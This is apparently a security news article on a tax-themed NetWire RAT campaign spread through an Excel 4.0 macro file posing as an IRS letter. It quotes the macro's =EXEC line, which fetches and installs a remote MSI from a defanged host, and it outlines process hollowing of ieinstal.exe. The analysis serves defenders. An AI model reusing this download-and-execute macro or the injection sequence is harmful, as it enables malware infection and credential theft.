Saturday, December 2, 2023

Hackers Attack Taxpayers Computers Using Netwire RAT via Weaponized Microsoft Excel 4.0

With tax season upon us, Researchers from FortiGuard Labs observed that a new NetWire RAT is spreading in wild using legacy MS Excel 4.0 named “1040 W2 IRS letter.xls” to perform keylogger functions such as capturing screenshots, collecting credentials and so on from victim machines.

In the past, Many NetWire RAT campaigns primarily target verticals like financial services, businesses, and educational institutions. 

It is a multiplatform RAT typically delivered via malspam attachments that contain Microsoft Office files with embedded executables.

It has emerged in the wild from 2012 onwards with improved remote access features and is commercially available in the dark web.

Netwire RAT campaigns 

This is the first time, Researchers observed NetWire RAT being spread in an Excel file using an Excel 4.0 Macro. Excel 4.0 was introduced in 1992, contained an early version of Macro Excel 4.0 macros (also called XLM macros ) predate VBA macros, it works as composed of functions placed inside cells of a macro sheet.

Excel 4.0 macros are still supported in the most recent Microsoft Office versions including office 2019 utilized for the offensive purpose by cyber threats.

Tax-Themed campaign via Excel 4.0 Macro 

The captured Excel file is called, “1040 W2 IRS letter.xls”. With obfuscated IRS forms in background lures victims to click the “Enable Content” button to show the clear forms, which enables the malicious Excel 4.0 Macro to be executed.

Tax-Themed Excel 4.0 Macro

Sample image shows that sheet “Macro1” is visible and the content of cell number “$A$9591” is “=EXEC(“powershell msiexe” & B7578 & ” /q /i http[:]//binexeupload[.]ru/unmodifiedness[.]msi”)” as it’s not obfuscated .

Macro C2C Command

“=EXEC” is a built-in Macro function that can be called to execute a local program with parameters. “B7578” is for reading out a value from cell “$B$7578”, whose value is empty. Therefore, the Excel 4.0 Macro will execute the program “powershell.exe” with the parameter followed, which will download an MSI file named ““unmodifiedness.msi” from a web site and then execute it using the Windows program “msiexe.exe”.

When it starts, it transfers malicious codes into the sub-process “ieinstal.exe” and executes there. It then transfers the malicious code into a newly created memory space in “ieinstal.exe”.

Finally, it modifies the “ieinstal.exe” entry point to the transferred malicious code by calling API ZwSetContextThread(), and then resumes running after calling the API ZwResumeThread().

The process tree of the running downloaded MSI file

Next, it will download an encrypted bin file from its download server, http[:]//stubbackup[.]ru/Host2_encrypted_3160FB0.bin

It then decrypts the bin file to get another PE file, which is the payload of a new NetWire variant. It then puts the PE file into the memory starting at offset 0x400000 to replace the existing data of “ieinstal.exe”

NetWire RAT collects the data such as current system time, the variant host-ID, the victim’s login user, the computer name, capture a screenshot of the victim’s screen into JPEG and so on. It has improved its feature that collects credentials from the victim’s.

Indicators of compromise (IOC):




Latest articles

Active Attacks Targeting Google Chrome & ownCloud Flaws: CISA Warns

The CISA announced two known exploited vulnerabilities active attacks targeting Google Chrome & own...

Cactus Ransomware Exploiting Qlik Sense code execution Vulnerability

A new Cactus Ransomware was exploited in the code execution vulnerability to Qlik Sense...

Hackers Bypass Antivirus with ScrubCrypt Tool to Install RedLine Malware

The ScrubCrypt obfuscation tool has been discovered to be utilized in attacks to disseminate the RedLine Stealer...

Hotel’s Hacked Logins Let Attacker Steal Guest Credit Cards

According to a recent report by Secureworks, a well-planned and advanced phishing attack was...

Critical Zoom Vulnerability Let Attackers Take Over Meetings

Zoom, the most widely used video conferencing platform has been discovered with a critical...

Hackers Using Weaponized Invoice to Deliver LUMMA Malware

Hackers use weaponized invoices to exploit trust in financial transactions, embedding malware or malicious...

US-Seized Crypto Currency Mixer Used by North Korean Lazarus Hackers

The U.S. Treasury Department sanctioned the famous cryptocurrency mixer Sinbad after it was claimed...

API Attack Simulation Webinar

Live API Attack Simulation

In the upcoming webinar, Karthik Krishnamoorthy, CTO and Vivek Gopalan, VP of Products at Indusface demonstrate how APIs could be hacked.The session will cover:an exploit of OWASP API Top 10 vulnerability, a brute force account take-over (ATO) attack on API, a DDoS attack on an API, how a WAAP could bolster security over an API gateway

Related Articles